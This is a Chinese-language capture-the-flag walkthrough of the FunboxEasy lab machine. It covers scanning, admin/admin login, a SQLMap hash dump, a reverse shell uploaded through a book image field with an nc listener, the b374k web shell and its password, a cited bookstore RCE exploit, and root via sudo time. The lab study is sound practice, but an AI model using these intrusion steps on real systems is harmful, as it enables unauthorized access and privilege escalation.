# PG-FunboxEasy Writeup ## Step.1 掃描 第一步都先nmap一下 ```bash= nmap -T5 192.168.144.111 ``` ![1-1](https://hackmd.io/_uploads/HyWd2DFCC.png =500x) 可以發現到80port是網頁服務,用firefox打開看一下 ![1-2](https://hackmd.io/_uploads/HkeTo6PtC0.png =500x) ## Step.2 爆破 沒什麼特別的,用`dirsearch`爆破一下 ```bash= dirsearch http://192.168.144.111 ``` ![2-1](https://hackmd.io/_uploads/ryj4pxa0A.png =500x) 全部都檢查過後發現`/store`應該有漏洞 ![2-2](https://hackmd.io/_uploads/S16MWbaAR.png =500x) ## Step.3 Exploit ### local flag #### 方法一 先看到頁面最下方的`Admin Login` 嘗試弱密碼 ``` admin admin ``` 發現居然可以 ~~如果使用工具的話~~ 因為網頁寫他的資料庫是使用`MySQL`所以嘗試`SQLMap`一樣可以得到這個結果 ``` [14:03:01] [INFO] cracked password 'admin' for hash 'd033e22ae348aeb5660fc2140aec35850c4da997' Database: store Table: admin [1 entry] +--------------------------------------------------+--------+ | pass | name | +--------------------------------------------------+--------+ | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) | admin | +--------------------------------------------------+--------+ ``` 登入後發現可以自己新增書籍,我們可以上傳一個reverse shell ![3-1](https://hackmd.io/_uploads/B12opbaCR.png =500x) 需要注意的是`Publisher`這邊一定要是原先資料庫有的,不然會報錯 ![3-2](https://hackmd.io/_uploads/HJUZ0ZT0C.png =500x) 要記得在自己的terminal監聽 reverse shell 的端口 ```bash= nc -nvlp 80 ``` 接著訪問我們剛剛建立的那一本書 ``` http://192.168.202.111/store/book.php?bookisbn=1 ``` ![3-3](https://hackmd.io/_uploads/ryDEJMp0C.png =500x) 這樣就連上了 > 可以使用 `python` 的 `pty` 讓終端變得更好用 > ```py= > python3 -c 'import pty;pty.spawn("/bin/bash")' > ``` 那因為使用者是`www-data`可以推測會有東西在`www`資料夾內,這樣就可以找到local flag了 ![3-4](https://hackmd.io/_uploads/B18olfpRC.png =500x) 這裡補充另一款reverse shell [b374k.php](https://github.com/b374k/b374k/releases) 把它下載下來解壓縮後裡面就會有一個`b374k.php` 那因為我們是上傳在他原本圖片的欄位,所以這邊選擇在新分頁中開啟 ![3-5](https://hackmd.io/_uploads/B1C_QzaRA.png =500x) 輸入密碼`b374k`,就可以進到shell了 ![3-6](https://hackmd.io/_uploads/Sy-37fT0C.png =500x) 你可以選擇用翻資料夾的慢慢翻,也可以使用terminal 和 reverse shell 的方式 ![3-7](https://hackmd.io/_uploads/SJKg4zp00.png =500x) #### 方法二 我們在一開始的`/store`頁面可以發現到有一串字 ``` Welcome to online CSE bookstore ``` Google搜尋`CSE bookstore`,發現有現成的[Exploit](https://www.exploit-db.com/exploits/47887) 直接就可以RCE了 ![3-8](https://hackmd.io/_uploads/r1gFLMp0C.png =500x) ### root flag 透過剛剛的 reverse shell 可以發現`home`目錄下有一個名叫`tony`的使用者,用找到的密碼ssh進去 ![3-9](https://hackmd.io/_uploads/HyWjOfp00.png =500x) ```bash= ssh tony@192.168.202.111 ``` 看一下tony可以執行哪些指令 ![3-10](https://hackmd.io/_uploads/SyNpKzT0R.png =500x) 發現可以使用 [time](https://gtfobins.github.io/gtfobins/time/#sudo) 執行shell 進到root的shell後,找到`/root`資料夾就可以找到`proof.txt`了 ![3-11](https://hackmd.io/_uploads/HJEoiMTR0.png =500x)